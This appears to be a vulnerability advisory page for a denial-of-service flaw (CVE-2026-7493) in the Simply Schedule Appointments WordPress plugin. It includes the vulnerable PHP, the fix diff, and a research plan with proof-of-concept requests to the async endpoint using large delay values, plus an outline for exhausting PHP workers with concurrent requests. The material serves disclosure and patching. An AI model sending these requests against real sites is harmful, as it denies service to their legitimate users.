Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin <= 1.6.11.5 - Unauthenticated Denial of Service
Description
The Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin plugin for WordPress is vulnerable to denial of service in all versions up to, and including, 1.6.11.5. This is due to a publicly accessible REST API endpoint (/wp-json/ssa/v1/async) that calls PHP's sleep() function on a user-supplied delay parameter without any rate limiting. This makes it possible for unauthenticated attackers to exhaust PHP worker processes, denying access to the site to legitimate users.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:LTechnical Details
<=1.6.11.5What Changed in the Fix
Changes introduced in v1.6.11.7
Source Code
WordPress.org SVNThis research plan outlines the technical steps to verify the unauthenticated Denial of Service (DoS) vulnerability in the **Simply Schedule Appointments** plugin (CVE-2026-7493). ## 1. Vulnerability Summary The vulnerability is an **Uncontrolled Resource Consumption** issue located in the `SSA_Asy…
Show full research plan
This research plan outlines the technical steps to verify the unauthenticated Denial of Service (DoS) vulnerability in the Simply Schedule Appointments plugin (CVE-2026-7493).
1. Vulnerability Summary
The vulnerability is an Uncontrolled Resource Consumption issue located in the SSA_Async_Action_Model class. The plugin registers a public REST API endpoint designed to trigger asynchronous actions. This endpoint accepts a delay parameter and passes it directly to the PHP sleep() function without validating the maximum duration or checking for administrative privileges.
An unauthenticated attacker can send multiple requests with large delay values to saturate the server's PHP worker pool (e.g., FPM/Apache workers), making the site unresponsive to legitimate traffic.
2. Attack Vector Analysis
- Endpoint:
/wp-json/ssa/v1/async - Method:
GET(viaWP_REST_Server::READABLE) orPOST(viaWP_REST_Server::CREATABLE) - Parameter:
delay(Integer) - Authentication: None (Publicly accessible)
- Preconditions: The plugin must be active. The site must be using a standard WordPress REST API configuration.
3. Code Flow
The vulnerability is contained in includes/class-async-action-model.php:
- Registration: The
register_routes()method (line 155) defines the endpoint:register_rest_route( $namespace, // 'ssa/v1' '/' . $base, // 'async' array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'process_endpoint' ), 'permission_callback' => '__return_true', // No auth required ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'process_endpoint' ), 'permission_callback' => '__return_true', // No auth required ), ) ); - Execution: The
process_endpoint()method (line 178) processes the request:public function process_endpoint( $request ) { define( 'SSA_DOING_ASYNC', true ); $params = $request->get_params(); if ( ! empty( $params[ 'delay' ] ) ) { $delay = (int) sanitize_text_field( $params['delay'] ); sleep( $delay ); // Vulnerable sink: Uncontrolled sleep duration } // ... }
4. Nonce Acquisition Strategy
This specific endpoint does not require a WordPress nonce.
- The
permission_callbackis explicitly set to__return_true. - The WordPress REST API typically requires a
_wpnonceheader only for authenticated requests or specific nonce-guarded routes. - The source code in
process_endpointdoes not perform any manualwp_verify_nonceorcheck_ajax_refererchecks.
5. Exploitation Strategy
To prove the vulnerability, we will demonstrate that the server response is delayed by exactly the amount specified in the delay parameter.
Step 1: Baseline Request
Send a request without a delay to ensure the endpoint is reachable and responsive.
- Request:
GET /wp-json/ssa/v1/async - Expected Response:
200 OK(returnstrue) in milliseconds.
Step 2: Delayed Request (The Exploit)
Send a request with a delay parameter (e.g., 5 seconds).
- Request:
GET /wp-json/ssa/v1/async?delay=5 - Mechanism: The PHP process will hang at
sleep(5). - Expected Behavior: The HTTP response will not be returned until at least 5 seconds have elapsed.
Step 3: Resource Exhaustion Demonstration (Conceptual)
Sending multiple concurrent requests with delay=30 will occupy 100% of available PHP workers for 30 seconds.
6. Test Data Setup
No specific WordPress content or settings are required. Simply ensure the plugin is activated.
- Install/Activate Plugin:
wp plugin activate simply-schedule-appointments - Verify Endpoint:
Check if the route is registered:wp rest route list | grep "ssa/v1/async"
7. Expected Results
A successful exploit will show:
- The
http_requesttool reporting atotal_timeclosely matching thedelayparameter. - The server returning a
200 OKresponse body containingtrue(as specified in theprocess_endpointreturn statement).
8. Verification Steps
Since this is a Denial of Service primitive, we verify it by timing the execution of the HTTP request from the perspective of the attacker.
- Execute the delayed request:
// Using http_request in the agent environment const start = Date.now(); const response = await http_request({ method: 'GET', url: 'http://localhost:8080/wp-json/ssa/v1/async?delay=5' }); const duration = (Date.now() - start) / 1000; console.log(`Response received in ${duration} seconds.`); - Validation Logic: If
duration >= 5and the response istrue, the vulnerability is confirmed.
9. Alternative Approaches
- POST Method: If
GETis restricted by a security plugin, the vulnerability can be triggered viaPOST:- URL:
/wp-json/ssa/v1/async - Content-Type:
application/json - Body:
{"delay": 5}
- URL:
- Large Delay: Test with a larger delay (e.g.,
15) to confirm that thesleep()duration scales linearly with user input, confirming the lack of sanitization/limiting. Note that the request might eventually hit the PHPmax_execution_timelimit (default 30s), causing a504 Gateway Timeoutinstead of a200 OK, which still confirms the DoS.
Summary
The Simply Schedule Appointments plugin for WordPress is vulnerable to an unauthenticated Denial of Service (DoS) due to uncontrolled resource consumption. A publicly accessible REST API endpoint (/wp-json/ssa/v1/async) accepts a user-supplied delay parameter and passes it directly to PHP's sleep() function without authentication or upper bounds. This allows attackers to exhaust the server's PHP worker pool, making the site unresponsive to legitimate users.
Vulnerable Code
// includes/class-async-action-model.php:146 public function register_routes() { $version = '1'; $namespace = 'ssa/v' . $version; $base = 'async'; register_rest_route( $namespace, '/' . $base, array( array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'process_endpoint' ), 'permission_callback' => '__return_true', ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'process_endpoint' ), 'permission_callback' => '__return_true', ), ) ); } --- // includes/class-async-action-model.php:171 public function process_endpoint( $request ) { define( 'SSA_DOING_ASYNC', true ); $params = $request->get_params(); if ( ! empty( $params[ 'delay' ] ) ) { $delay = (int) sanitize_text_field( $params['delay'] ); sleep( $delay ); }
Security Fix
@@ -1,5 +1,12 @@ # Changelog +## SSA-VERSION-PREFIX.6.11.7 - 2026-05-12 + +### Fixes + +- Cover both signed in and signed out usage in Cypress tests +- Cap async endpoint delay to prevent DoS (CVE-2026-7493) + ## SSA-VERSION-PREFIX.6.11.5 - 2026-05-05 ### Fixes @@ -50,11 +50,47 @@ add_action( 'init', array( $this, 'schedule_cron' ) ); } add_action( 'ssa_cron_process_async_actions', array( $this, 'execute_cron_process_async_actions' ) ); - + add_action( 'init', array( $this, 'schedule_async_action_cleanup' ) ); add_action( 'ssa/async_actions/cleanup', array( $this, 'cleanup_async_actions' ) ); + + add_action( 'ssa/appointment/booked', array( $this, 'mint_async_delay_token' ), 10, 1 ); } - + + /** + * Mint a one-shot, short-lived token that authorises a single /async?delay=N + * request for this appointment. + * + * The /async endpoint sleeps for the requested delay so notifications/webhooks + * queued at +5s have time to mature before the queue is drained. Without a + * gate, the unauthenticated endpoint amplifies any anonymous request into a + * worker hold (CVE-2026-7493). Tying the sleep to a freshly-completed booking + * forces an attacker to complete a real booking per attempt and limits + * lifetime to 30s. + */ + public function mint_async_delay_token( $appointment_id ) { + if ( empty( $appointment_id ) ) { + return; + } + set_transient( 'ssa_async_delay_' . absint( $appointment_id ), 1, 30 ); + } + + /** + * Verify and consume the one-shot delay token for $appointment_id. + * Returns true exactly once per minted token. + */ + protected function consume_async_delay_token( $appointment_id ) { + if ( empty( $appointment_id ) ) { + return false; + } + $key = 'ssa_async_delay_' . absint( $appointment_id ); + if ( false === get_transient( $key ) ) { + return false; + } + delete_transient( $key ); + return true; + } + /** * Filter the where conditions for the query * @@ -167,10 +203,17 @@ public function process_endpoint( $request ) { define( 'SSA_DOING_ASYNC', true ); $params = $request->get_params(); - - if ( ! empty( $params[ 'delay' ] ) ) { - $delay = (int) sanitize_text_field( $params['delay'] ); - sleep( $delay ); + + if ( ! empty( $params['delay'] ) ) { + // Cap [0, 10] as defence-in-depth; legitimate caller passes 7. Even + // with a valid token the sleep is bounded so a worker can't be held + // arbitrarily long. + $delay = min( 10, max( 0, (int) $params['delay'] ) ); + $appointment_id = ! empty( $params['object_id'] ) ? absint( $params['object_id'] ) : 0; + + if ( $delay > 0 && $this->consume_async_delay_token( $appointment_id ) ) { + sleep( $delay ); + } } $params = shortcode_atts(
Exploit Outline
The exploit targets the public WordPress REST API endpoint /wp-json/ssa/v1/async. Because the route registration defines a permission_callback that returns true, no authentication is required. An attacker sends a GET or POST request containing a 'delay' parameter set to a large value (e.g., 30). The plugin's server-side logic passes this integer directly to PHP's sleep() function, causing the associated PHP worker thread to hang. By sending a volume of concurrent requests equal to or greater than the server's maximum worker pool size, an attacker can exhaust all available resources and prevent the site from serving any legitimate traffic for the duration of the sleep calls.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.